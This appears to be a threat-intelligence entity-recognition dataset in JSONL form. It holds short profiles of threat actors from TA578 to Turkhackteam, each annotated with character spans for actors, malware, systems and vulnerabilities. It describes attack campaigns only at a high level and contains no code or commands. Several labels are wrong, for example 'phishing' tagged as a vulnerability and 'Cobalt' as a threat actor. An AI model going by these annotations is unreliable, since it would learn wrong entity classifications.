+{"text": "TA578, a threat actor that Proofpoint researchers have been tracking since May of 2020. TA578 has previously been observed in email-based campaigns delivering Ursnif, IcedID, KPOT Stealer, Buer Loader, BazaLoader, and Cobalt Strike.", "spans": {"THREAT_ACTOR: TA578": [[0, 5], [88, 93]], "THREAT_ACTOR: Cobalt": [[218, 224]], "TOOL: Cobalt Strike": [[218, 231]], "ORGANIZATION: Proofpoint": [[27, 37]], "MALWARE: IcedID": [[167, 173]], "MALWARE: KPOT Stealer": [[175, 187]], "MALWARE: Buer": [[189, 193]], "MALWARE: Ursnif": [[159, 165]]}, "info": {"source": "apt_reports", "name": "TA578"}}
+{"text": "TA579, a threat actor that Proofpoint researchers have been tracking since August 2021. This actor frequently delivered BazaLoader and IcedID in past campaigns.", "spans": {"THREAT_ACTOR: TA579": [[0, 5]], "ORGANIZATION: Proofpoint": [[27, 37]], "MALWARE: IcedID": [[135, 141]]}, "info": {"source": "apt_reports", "name": "TA579"}}
+{"text": "TA584 is a prominent initial access broker tracked by Proofpoint since November 2020, known for its high-volume campaigns targeting organizations globally. The actor employs various TTPs, including macro-enabled Excel documents, aggressive URL filtering, and geo-fenced landing pages, while frequently changing lures and delivery methods to evade detection. In 2025, TA584 expanded its geographic targeting to include Germany and Australia, while also introducing new malware such as Tsundere Bot alongside XWorm with the \"P0WER\" configuration. The actor's campaigns are characterized by rapid turnover and deliberate variability, making static indicators less effective for detection.", "spans": {"THREAT_ACTOR: TA584": [[0, 5], [367, 372]], "ORGANIZATION: Proofpoint": [[54, 64]], "MALWARE: XWorm": [[507, 512]]}, "info": {"source": "apt_reports", "name": "TA584"}}
+{"text": "This attacker is an affiliate distributor of the The Trick, also known as Trickbot, and BazaLoader. (For more on how affiliates work, see the description of TA573).\nTA800 has targeted a wide range of industries in North America, infecting victims with banking Trojans and malware loaders (malware designed to download other malware onto a compromised device). Malicious emails have often included recipients’ names, titles and employers along with phishing pages designed to look like the targeted company. Lures have included hard-to-resist subjects such as related to payment, meetings, termination, bonuses and complaints in the subject line or body of the email.", "spans": {"THREAT_ACTOR: TA800": [[165, 170]], "VULNERABILITY: phishing": [[448, 456]]}, "info": {"source": "apt_reports", "name": "TA800"}}
+{"text": "TA829 is a Russia-aligned threat actor that employs the RomCom RAT for intelligence-gathering and financially motivated cyberattacks, exploiting zero-day vulnerabilities in Mozilla Firefox and Microsoft Windows. The group utilizes REM Proxy services hosted on compromised MikroTik routers to relay traffic and disguise its origin. In their operations, victims targeted by TA829 receive a strain known as SlipScreen, while their infrastructure and tactics show significant similarities to those of UNK_GreenSec. TA829's hybrid approach combines espionage with financial fraud, making it a notable player in the cyber threat landscape.", "spans": {"THREAT_ACTOR: TA829": [[0, 5], [372, 377], [511, 516]], "THREAT_ACTOR: RomCom": [[56, 62]], "SYSTEM: MikroTik": [[272, 280]], "SYSTEM: Firefox": [[181, 188]], "SYSTEM: Windows": [[203, 210]], "ORGANIZATION: Microsoft": [[193, 202]], "VULNERABILITY: zero-day": [[145, 153]], "MALWARE: SlipScreen": [[404, 414]]}, "info": {"source": "apt_reports", "name": "TA829"}}
+{"text": "According to Proofpoint, TA866 is a newly identified threat actor that distributes malware via email utilizing both commodity and custom tools. While most of the activity observed occurred since October 2022, Proofpoint researchers identified multiple activity clusters since 2019 that overlap with TA866 activity. Most of the activity recently observed by Proofpoint suggests recent campaigns are financially motivated, however assessment of historic related activities suggests a possible, additional espionage objective.", "spans": {"THREAT_ACTOR: TA866": [[25, 30], [299, 304]], "ORGANIZATION: Proofpoint": [[13, 23], [209, 219], [357, 367]]}, "info": {"source": "apt_reports", "name": "TA866"}}
+{"text": "TAG-112 is a Chinese state-sponsored APT that compromised Tibetan websites, including Tibet Post and Gyudmed Tantric University, to deliver Cobalt Strike malware. The group exploited vulnerabilities in the Joomla CMS to embed malicious JavaScript that spoofed a TLS certificate error, tricking users into downloading a compromised security certificate. TAG-112's infrastructure, concealed using Cloudflare, shows notable overlap with TAG-102, but it employs less sophisticated tactics, relying on Cobalt Strike rather than custom malware. The campaign reflects ongoing cyber-espionage efforts targeting Tibetan entities, likely for information collection and surveillance.", "spans": {"THREAT_ACTOR: TAG-112": [[0, 7], [353, 360]], "THREAT_ACTOR: Cobalt": [[140, 146], [497, 503]], "TOOL: Cobalt Strike": [[140, 153], [497, 510]], "SYSTEM: Joomla": [[206, 212]], "ORGANIZATION: Cloudflare": [[395, 405]]}, "info": {"source": "apt_reports", "name": "TAG-112"}}
+{"text": "TAG-124 is a threat actor that employs a traffic distribution system to distribute malware, primarily using MintsLoader and targeting various sectors through phishing emails and compromised websites. The actor injects malicious JavaScript into WordPress sites, leading victims to fake Google Chrome update landing pages that facilitate malware downloads, often masquerading as legitimate updates. TAG-124 has been linked to multiple ransomware groups, including Rhysida and Interlock, and demonstrates high activity levels by regularly updating its infrastructure and refining its infection tactics, such as the ClickFix technique. Notable compromised sites include those associated with the Polish Centre for Testing and Certification and the Economic Community of West African States (ECOWAS).", "spans": {"THREAT_ACTOR: TAG-124": [[0, 7], [397, 404]], "SYSTEM: Chrome": [[292, 298]], "SYSTEM: WordPress": [[244, 253]], "ORGANIZATION: Google": [[285, 291]], "VULNERABILITY: phishing": [[158, 166]], "MALWARE: MintsLoader": [[108, 119]], "MALWARE: Interlock": [[474, 483]]}, "info": {"source": "apt_reports", "name": "TAG-124"}}
+{"text": "TAG-140 is a threat actor group that primarily targets Indian government entities, employing cyber espionage tactics such as phishing and malware campaigns. They have deployed a new variant of the DRAT RAT, known as DRAT V2, which utilizes a ClickFix lure and executes a remote script via mshta.exe to establish persistence and facilitate data exfiltration. Their operations include the use of the BroaderAspect loader and a custom TCP-based C2 protocol, enabling a range of post-exploitation activities. TAG-140's activities reflect a pattern of iterative advancement in their malware arsenal and delivery techniques, complicating detection and attribution efforts.", "spans": {"THREAT_ACTOR: TAG-140": [[0, 7], [505, 512]], "TOOL: mshta": [[289, 294]], "VULNERABILITY: phishing": [[125, 133]]}, "info": {"source": "apt_reports", "name": "TAG-140"}}
+{"text": "TAG-28 is a Chinese state-sponsored threat actor that has been targeting Indian organizations, including media conglomerates and government agencies. They have been using the Winnti malware, which is commonly shared among Chinese state-sponsored groups. TAG-28's main objective is to gather intelligence on Indian targets, potentially for espionage purposes.", "spans": {"THREAT_ACTOR: TAG-28": [[0, 6], [254, 260]]}, "info": {"source": "apt_reports", "name": "TAG-28"}}
+{"text": "TAG-56 is a threat actor group that shares similarities with the APT42 group. They use tactics such as fake registration pages and spearphishing to target victims, often using encrypted chat platforms like WhatsApp or Telegram. TAG-56 is believed to be part of a broader campaign led by an Iran-nexus threat activity group. They have been observed using shared web hosts and recycled code, indicating a preference for acquiring purpose-built infrastructure rather than establishing their own.", "spans": {"THREAT_ACTOR: TAG-56": [[0, 6], [228, 234]], "THREAT_ACTOR: APT42": [[65, 70]], "SYSTEM: Telegram": [[218, 226]], "SYSTEM: WhatsApp": [[206, 214]], "VULNERABILITY: spearphishing": [[131, 144]]}, "info": {"source": "apt_reports", "name": "TAG-56"}}
+{"text": "The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control.\nAs part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background.\nWe were only able to gather a limited amount of information regarding the Taidoor attackers’ activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.", "spans": {"THREAT_ACTOR: Taidoor": [[4, 11], [129, 136], [317, 324], [703, 710], [953, 960], [1052, 1059], [1256, 1263], [1515, 1522], [1572, 1579]]}, "info": {"source": "apt_reports", "name": "Taidoor"}}
+{"text": "TaskMasters is a state-sponsored Chinese APT that has been active since at least 2010, primarily targeting industrial, energy, and government sectors in Russia and the CIS. The group has been linked to the Webdav-O Trojan, which employs techniques to bypass network defenses by connecting to legitimate services. Investigations suggest that TaskMasters may have been involved in attacks against Russian federal executive authorities in 2020, potentially alongside another Chinese group, TA428. Additionally, the group has been associated with the BackDoor.RemShell.24 malware, indicating a diverse toolkit in their operations.", "spans": {"THREAT_ACTOR: TaskMasters": [[0, 11], [341, 352]], "THREAT_ACTOR: TA428": [[487, 492]]}, "info": {"source": "apt_reports", "name": "TaskMasters"}}
+{"text": "Team-Xecuter is a hacking group led by Gary Bowser, also known as GaryOPA. They were involved in a piracy conspiracy against Nintendo, creating and selling illegal circumvention devices that allowed users to hack video game consoles for playing pirated games. Gary Bowser has admitted his participation in this activity and is facing legal consequences.", "spans": {"THREAT_ACTOR: Team-Xecuter": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Team-Xecuter"}}
+{"text": "Team46 is a sophisticated APT group active since at least late 2024, targeting Russian government, academic, and media organizations through spearphishing emails disguised as forum invitations or service notifications. They exploit zero-day vulnerabilities like CVE-2025-2783 in Google Chrome (March 2025, Operation ForumTroll) and CVE-2024-6473 in Yandex Browser, deploying multi-stage loaders (e.g., winsta.dll, donut shellcode) that decrypt payloads using machine-specific keys like firmware UUID for environmental guardrails. Key malware includes the Trinper backdoor for keylogging, clipboard theft, file/process discovery, and encrypted C2 exfiltration over HTTPS with domain fronting, alongside auxiliary .NET tools (dirlist.exe, ProcessList.exe) and variants using Cobalt Strike or Dante backdoor; the group employs obfuscation, AMSI bypasses, debugger evasion, and self-deletion for persistence and stealth. Positive Technologies attributes TaxOff operations to Team46 based on identical PowerShell patterns, loaders, and hyphenated CDN-mimicking infrastructure (e.g., ms-appdata-*.global.ssl.fastly.net).", "spans": {"CVE_ID: CVE-2025-2783": [[262, 275]], "CVE_ID: CVE-2024-6473": [[332, 345]], "DOMAIN: global.ssl.fastly.net": [[1091, 1112]], "THREAT_ACTOR: Team46": [[0, 6], [971, 977]], "THREAT_ACTOR: Operation ForumTroll": [[306, 326]], "THREAT_ACTOR: Cobalt": [[773, 779]], "TOOL: Cobalt Strike": [[773, 786]], "TOOL: PowerShell": [[997, 1007]], "SYSTEM: Chrome": [[286, 292]], "SYSTEM: .NET": [[712, 716]], "ORGANIZATION: Positive Technologies": [[917, 938]], "ORGANIZATION: Google": [[279, 285]], "VULNERABILITY: keylogging": [[576, 586]], "VULNERABILITY: spearphishing": [[141, 154]], "VULNERABILITY: zero-day": [[232, 240]], "MALWARE: Dante": [[790, 795]]}, "info": {"source": "apt_reports", "name": "Team46"}}
+{"text": "TeamPCP is a threat actor that has executed a coordinated series of supply chain attacks, compromising widely-used open source tools such as Trivy, KICS, and LiteLLM to deploy credential-stealing malware. They employed techniques like credential harvesting, lateral movement within Kubernetes environments, and audio steganography to evade detection. The group has demonstrated the ability to leverage stolen credentials to propagate attacks across multiple ecosystems, including npm and PyPI, using a self-propagating worm known as CanisterWorm. Their operations have included the use of AES-256 encryption and RSA-4096 for exfiltration of sensitive data.", "spans": {"THREAT_ACTOR: TeamPCP": [[0, 7]], "SYSTEM: Kubernetes": [[282, 292]], "ORGANIZATION: RSA": [[612, 615]]}, "info": {"source": "apt_reports", "name": "TeamPCP"}}
+{"text": "Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say.\nThe attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it’s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets.\nResearchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.", "spans": {"THREAT_ACTOR: TeamSpy crew": [[258, 270]], "TOOL: TeamViewer": [[320, 330]]}, "info": {"source": "apt_reports", "name": "TeamSpy Crew"}}
+{"text": "In early Febuary, 2021 TeamTNT launched a new campaign against Docker and Kubernetes environments. Using a collection of container images that are hosted in Docker Hub, the attackers are targeting misconfigured docker daemons, Kubeflow dashboards, and Weave Scope, exploiting these environments in order to steal cloud credentials, open backdoors, mine cryptocurrency, and launch a worm that is looking for the next victim.\nThey're linked to the First Crypto-Mining Worm to Steal AWS Credentials and Hildegard Cryptojacking malware.\nTeamTNT is a relatively recent addition to a growing number of threats targeting the cloud. While they employ some of the same tactics as similar groups, TeamTNT stands out with their social media presence and penchant for self-promotion. Tweets from the TeamTNT’s account are in both English and German although it is unknown if they are located in Germany.", "spans": {"THREAT_ACTOR: TeamTNT": [[23, 30], [533, 540], [687, 694], [788, 795]], "SYSTEM: Docker": [[63, 69], [157, 163]], "SYSTEM: AWS": [[480, 483]], "SYSTEM: Kubernetes": [[74, 84]], "MALWARE: Hildegard": [[500, 509]]}, "info": {"source": "apt_reports", "name": "TeamTNT"}}
+{"text": "Teleboyi is a threat actor reportedly based in China, associated with the PlugX RAT. TeamT5 identified a custom PlugX loader used by Teleboyi that employs a similar string decryption algorithm as seen in the McUtil.dll loader from Operation Harvest. While there are weak links to the dsqurey[.]com domain, the connection remains uncertain due to the domain's registration history.", "spans": {"THREAT_ACTOR: Teleboyi": [[0, 8], [133, 141]], "MALWARE: PlugX": [[74, 79], [112, 117]]}, "info": {"source": "apt_reports", "name": "Teleboyi"}}
+{"text": "TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.", "spans": {"THREAT_ACTOR: TEMP.Veles": [[0, 10]], "MALWARE: TRITON": [[123, 129]]}, "info": {"source": "apt_reports", "name": "TEMP.Veles"}}
+{"text": "China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.", "spans": {"MALWARE: PoisonIvy": [[241, 250]]}, "info": {"source": "apt_reports", "name": "TEMPER PANDA"}}
+{"text": "This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un", "spans": {}, "info": {"source": "apt_reports", "name": "TempTick"}}
+{"text": "TEMP_Heretic is a threat actor that has been observed engaging in targeted spear-phishing campaigns. They exploit vulnerabilities in email platforms, such as Zimbra, to exfiltrate emails from government, military, and media organizations. They use multiple outlook.com email addresses and manually craft content for each email before sending it.", "spans": {"DOMAIN: outlook.com": [[257, 268]], "THREAT_ACTOR: TEMP_Heretic": [[0, 12]], "SYSTEM: Zimbra": [[158, 164]], "VULNERABILITY: spear-phishing": [[75, 89]], "VULNERABILITY: phishing": [[81, 89]]}, "info": {"source": "apt_reports", "name": "TEMP_Heretic"}}
+{"text": "Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.", "spans": {"THREAT_ACTOR: TERBIUM": [[278, 285]], "ORGANIZATION: Microsoft": [[0, 9], [195, 204]]}, "info": {"source": "apt_reports", "name": "TERBIUM"}}
+{"text": "TetrisPhantom relies on compromising of certain type of secure USB drives that provide hardware encryption and is commonly used by government organizations. While investigating this threat, experts identified an entire spying campaign that uses a range of malicious modules to execute commands, collect files and information from compromised computers and transfer them to other machines also using secure USB drives.", "spans": {"THREAT_ACTOR: TetrisPhantom": [[0, 13]]}, "info": {"source": "apt_reports", "name": "TetrisPhantom"}}
+{"text": "The Dark Overlord is a financially motivated ransomware group that has been active since 2016. The group is known for targeting large organizations, including Netflix, ABC, and Miramax.", "spans": {"MALWARE: Dark": [[4, 8]]}, "info": {"source": "apt_reports", "name": "TheDarkOverlord"}}
+{"text": "TheWizards is a China-aligned APT group that employs the Spellbinder tool for adversary-in-the-middle attacks, utilizing IPv6 SLAAC spoofing to redirect legitimate software updates to malicious servers. They have developed the WizardNet backdoor for Windows and serve DarkNights to Android applications, indicating a connection to Dianke Network Security Technology. The group targets individuals and companies in the Philippines, Cambodia, the UAE, mainland China, and Hong Kong. ESET has observed their infrastructure and tools, including the acquisition of servers for hosting C&C and malicious updates.", "spans": {"THREAT_ACTOR: TheWizards": [[0, 10]], "SYSTEM: ESET": [[481, 485]], "SYSTEM: Windows": [[250, 257]], "SYSTEM: Android": [[282, 289]]}, "info": {"source": "apt_reports", "name": "TheWizards"}}
+{"text": "While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.", "spans": {}, "info": {"source": "apt_reports", "name": "The Big Bang"}}
+{"text": "The Gentlemen is a ransomware group that employs a dual-extortion strategy, encrypting sensitive files while exfiltrating critical business data to pressure victims into paying ransoms. Their operations leverage advanced techniques such as abusing legitimate utilities like PowerRun.exe for privilege escalation, using custom-built tools for defense evasion, and employing flexible encryption methods based on file size. The group targets medium to large organizations across various sectors, particularly in the Asia-Pacific region, and has demonstrated a high level of technical maturity and operational discipline. Their activities include systematic compromise of enterprise environments, mass account enumeration, and the use of encrypted channels for data exfiltration.", "spans": {"THREAT_ACTOR: The Gentlemen": [[0, 13]], "VULNERABILITY: privilege escalation": [[291, 311]]}, "info": {"source": "apt_reports", "name": "The Gentlemen"}}
+{"text": "Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.", "spans": {"ORGANIZATION: Unit 42": [[0, 7], [558, 565]], "MALWARE: Gorgon Group": [[619, 631]]}, "info": {"source": "apt_reports", "name": "The Gorgon Group"}}
+{"text": "The Shadow Brokers (TSB) is a hacker group who first appeared in the summer of 2016. They published several leaks containing hacking tools from the National Security Agency (NSA, including several zero-day exploits.[1] Specifically, these exploits and vulnerabilities targeted enterprise firewalls, antivirus software, and Microsoft products. The Shadow Brokers originally attributed the leaks to the Equation Group threat actor, who have been tied to the NSA's Tailored Access Operations unit.", "spans": {"THREAT_ACTOR: The Shadow Brokers": [[0, 18], [343, 361]], "THREAT_ACTOR: Equation Group": [[401, 415]], "ORGANIZATION: National Security Agency": [[148, 172]], "ORGANIZATION: Microsoft": [[323, 332]], "ORGANIZATION: NSA": [[174, 177], [456, 459]], "VULNERABILITY: zero-day": [[197, 205]], "MALWARE: Equation": [[401, 409]]}, "info": {"source": "apt_reports", "name": "The Shadow Brokers"}}
+{"text": "ThreatSec is a hacktivist group that has targeted various organizations, including internet service providers in Gaza. They claim to fight for the rights and freedom of the oppressed and do not prioritize monetary gain. The group is part of the \"Five Families\" consortium, which includes other hacktivist groups such as GhostSec and Stormous. ThreatSec has been involved in cyberattacks, data breaches, and ransomware activities.", "spans": {"THREAT_ACTOR: ThreatSec": [[0, 9], [343, 352]], "THREAT_ACTOR: GhostSec": [[320, 328]]}, "info": {"source": "apt_reports", "name": "Threatsec"}}
+{"text": "Threat actor 888 is a hacker active in 2024, targeting companies for data breaches. They've hit Microsoft, BMW (Hong Kong), and others in tech, freight, and oil & gas industries", "spans": {"THREAT_ACTOR: Threat actor 888": [[0, 16]], "ORGANIZATION: Microsoft": [[96, 105]]}, "info": {"source": "apt_reports", "name": "Threat Actor 888"}}
+{"text": "This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.", "spans": {}, "info": {"source": "apt_reports", "name": "Thrip"}}
+{"text": "Tick is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes.  The attacks appear to be centered on political, media, and engineering sectors. STALKER PANDA has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States.", "spans": {"THREAT_ACTOR: Tick": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Tick"}}
+{"text": "TIDRONE is an unidentified threat actor linked to Chinese-speaking groups, with a focus on military-related industry chains, particularly drone manufacturers in Taiwan. The actor employs advanced malware variants such as CXCLNT and CLNTEND, which are distributed through ERP software or remote desktops. The consistency in file compilation times and operational patterns aligns with other Chinese espionage activities, indicating a likely espionage motive.", "spans": {"THREAT_ACTOR: TIDRONE": [[0, 7]]}, "info": {"source": "apt_reports", "name": "TIDRONE"}}
+{"text": "One of their notable tools is a custom backdoor called SockDetour, which operates filelessly and socketlessly on compromised Windows servers. The group's activities have been linked to the exploitation of vulnerabilities in Zoho ManageEngine ADSelfService Plus and ServiceDesk Plus.", "spans": {"SYSTEM: Zoho": [[224, 228]], "SYSTEM: ManageEngine": [[229, 241]], "SYSTEM: Zoho ManageEngine": [[224, 241]], "SYSTEM: Windows": [[125, 132]]}, "info": {"source": "apt_reports", "name": "TiltedTemple"}}
+{"text": "According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.", "spans": {"ORGANIZATION: CrowdStrike": [[13, 24]], "MALWARE: TinyPOS": [[61, 68]], "MALWARE: Dridex": [[104, 110]]}, "info": {"source": "apt_reports", "name": "TINY SPIDER"}}
+{"text": "ToddyCat is responsible for multiple sets of attacks detected since December 2020 against high-profile entities in Europe and Asia. There is still little information about this actor, but its main distinctive signs are two formerly unknown tools that Kaspersky call ‘Samurai backdoor’ and ‘Ninja Trojan’.", "spans": {"THREAT_ACTOR: ToddyCat": [[0, 8]], "SYSTEM: Kaspersky": [[251, 260]], "MALWARE: Samurai": [[267, 274]], "MALWARE: Ninja": [[290, 295]]}, "info": {"source": "apt_reports", "name": "ToddyCat"}}
+{"text": "Tonto Team is a Chinese-speaking APT group that has been active since at least 2013. They primarily target military, diplomatic, and infrastructure organizations in Asia and Eastern Europe. The group has been observed using various malware, including the Bisonal RAT and ShadowPad. They employ spear-phishing emails with malicious attachments as their preferred method of distribution.", "spans": {"THREAT_ACTOR: Tonto Team": [[0, 10]], "VULNERABILITY: spear-phishing": [[294, 308]], "VULNERABILITY: phishing": [[300, 308]], "MALWARE: Bisonal": [[255, 262]], "MALWARE: ShadowPad": [[271, 280]]}, "info": {"source": "apt_reports", "name": "Tonto Team"}}
+{"text": "A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers’ customers.\nThe group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access.", "spans": {"THREAT_ACTOR: Tortoiseshell": [[262, 275]], "SYSTEM: Symantec": [[319, 327]]}, "info": {"source": "apt_reports", "name": "Tortoiseshell"}}
+{"text": "The Toxcar Cyber Team has claimed responsibility for a data leak involving Mastercard, asserting that the attack targeted the U.S. site and providing screenshots as purported evidence. They have also been linked to the sale of an undetectable ransomware designed to bypass major antivirus software. Additionally, the group has shared the source code of Elusive Stealer, a data theft malware. Their activities highlight a focus on data breaches and malware distribution within the cyber threat landscape.", "spans": {"THREAT_ACTOR: Toxcar Cyber Team": [[4, 21]]}, "info": {"source": "apt_reports", "name": "TOXCAR CYBER TEAM"}}
+{"text": "A group targeting dissident groups in China and at the boundaries.", "spans": {}, "info": {"source": "apt_reports", "name": "TOXIC PANDA"}}
+{"text": "In April 2020, Crowstrike Falcon OverWatch discovered Iran-based adversary TRACER KITTEN conducting malicious interactive activity against multiple hosts at a telecommunications company in the Europe, Middle East and Africa (EMEA) region. The actor was found operating under valid user accounts, using custom backdoors in combination with SSH tunnels for C2. The adversary leveraged their foothold to conduct a variety of reconnaissance activities, undertake credential harvesting and prepare for data exfiltration.", "spans": {"THREAT_ACTOR: TRACER KITTEN": [[75, 88]], "TOOL: SSH": [[339, 342]]}, "info": {"source": "apt_reports", "name": "TRACER KITTEN"}}
+{"text": "TraderTraitor targets blockchain companies through spear-phishing messages. The group sends these messages to employees, particularly those in system administration or software development roles, on various communication platforms, intended to gain access to these start-up and high-tech companies. TraderTraitor may be the work of operators previously responsible for APT38 activity.", "spans": {"THREAT_ACTOR: TraderTraitor": [[0, 13], [299, 312]], "VULNERABILITY: spear-phishing": [[51, 65]], "VULNERABILITY: phishing": [[57, 65]], "MALWARE: APT38": [[369, 374]]}, "info": {"source": "apt_reports", "name": "TraderTraitor"}}
+{"text": "Crowdstrike Tracks the criminal developer of Nemty ransomware as TRAVELING SPIDER. The actor has been observed to take advantage of single-factor authentication to gain access to victim organizations through Citrix Gateway and send extortion-related emails using the victim’s own Microsoft Office 365 instance.", "spans": {"THREAT_ACTOR: TRAVELING SPIDER": [[65, 81]], "SYSTEM: Microsoft Office": [[280, 296]], "SYSTEM: Office 365": [[290, 300]], "SYSTEM: Citrix": [[208, 214]], "ORGANIZATION: Microsoft": [[280, 289]], "MALWARE: Nemty": [[45, 50]]}, "info": {"source": "apt_reports", "name": "TRAVELING SPIDER"}}
+{"text": "TridentLocker is a ransomware group known for targeting organizations that manage high volumes of regulated or third-party data, including government services and telecom providers. They have claimed breaches of multiple victims, such as TMPartner, Sedgwick, and Advantage 360, often exfiltrating sensitive data before deploying ransomware. The group employs techniques such as stolen credentials, phishing, and exploitation of unpatched software to gain initial access and move laterally within networks. Their operations are characterized by high visibility postings on their leak portal, which include detailed victim profiles and countdown timers to create public pressure.", "spans": {"THREAT_ACTOR: TridentLocker": [[0, 13]], "VULNERABILITY: phishing": [[398, 406]]}, "info": {"source": "apt_reports", "name": "TridentLocker"}}
+{"text": "TRIPLESTRENGTH is a financially motivated threat actor targeting cloud environments and on-premises infrastructures for cryptojacking, ransomware, and extortion. They exploit stolen credentials, cookies, and information stealer logs to gain unauthorized access to platforms like Google Cloud, AWS, and Microsoft Azure, deploying the unMiner application for cryptocurrency mining. Their ransomware operations utilize lockers such as Phobos, LokiLocker, and RCRU64, involving lateral movement and mass encryption. TRIPLESTRENGTH also engages in account hijacking and collaborates with partners for ransomware and blackmail operations, advertising their services in hacking-focused Telegram channels.", "spans": {"THREAT_ACTOR: TRIPLESTRENGTH": [[0, 14], [512, 526]], "SYSTEM: Telegram": [[679, 687]], "SYSTEM: Google Cloud": [[279, 291]], "SYSTEM: Azure": [[312, 317]], "SYSTEM: AWS": [[293, 296]], "ORGANIZATION: Microsoft": [[302, 311]], "ORGANIZATION: Google": [[279, 285]], "MALWARE: Phobos": [[432, 438]], "MALWARE: LokiLocker": [[440, 450]]}, "info": {"source": "apt_reports", "name": "TRIPLESTRENGTH"}}
+{"text": "TStark is a threat actor identified by X-Ops, associated with a cluster of devices that executed the bookmark buffer overflow exploit targeting CVE-2020-15069 (T1203). The actor exhibited odd telemetry behavior indicative of intermittent VPN usage, switching between IP addresses geolocated to Hong Kong and Chengdu. Analysis revealed malware samples for Mac OS X and iOS, as well as IFRAME injection code exploiting a WebAssembly vulnerability (T1189). Additionally, TStark was linked to the development of libsophos.so and the deployment of malicious payloads across their devices.", "spans": {"CVE_ID: CVE-2020-15069": [[144, 158]], "THREAT_ACTOR: TStark": [[0, 6], [468, 474]], "SYSTEM: VPN": [[238, 241]], "SYSTEM: Mac OS": [[355, 361]], "SYSTEM: iOS": [[368, 371]], "SYSTEM: Mac OS X": [[355, 363]], "VULNERABILITY: buffer overflow": [[110, 125]]}, "info": {"source": "apt_reports", "name": "Tstark"}}
+{"text": "The TunnelSnake campaign demonstrates the activity of a sophisticated actor that invests significant resources in designing an evasive toolset and infiltrating networks of high-profile organizations. By leveraging Windows drivers, covert communications channels and proprietary malware, the group behind it maintains a considerable level of stealth. That said, some of its TTPs, like the usage of a commodity webshell and open-source legacy code for loading unsigned drivers, may get detected and in fact were flagged by Kaspersky's product, giving them visibility into the group’s operation.", "spans": {"THREAT_ACTOR: TunnelSnake": [[4, 15]], "SYSTEM: Kaspersky": [[521, 530]], "SYSTEM: Windows": [[214, 221]]}, "info": {"source": "apt_reports", "name": "TunnelSnake"}}
+{"text": "Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.", "spans": {"THREAT_ACTOR: Turkhackteam": [[17, 29], [131, 143]]}, "info": {"source": "apt_reports", "name": "TurkHackTeam"}}
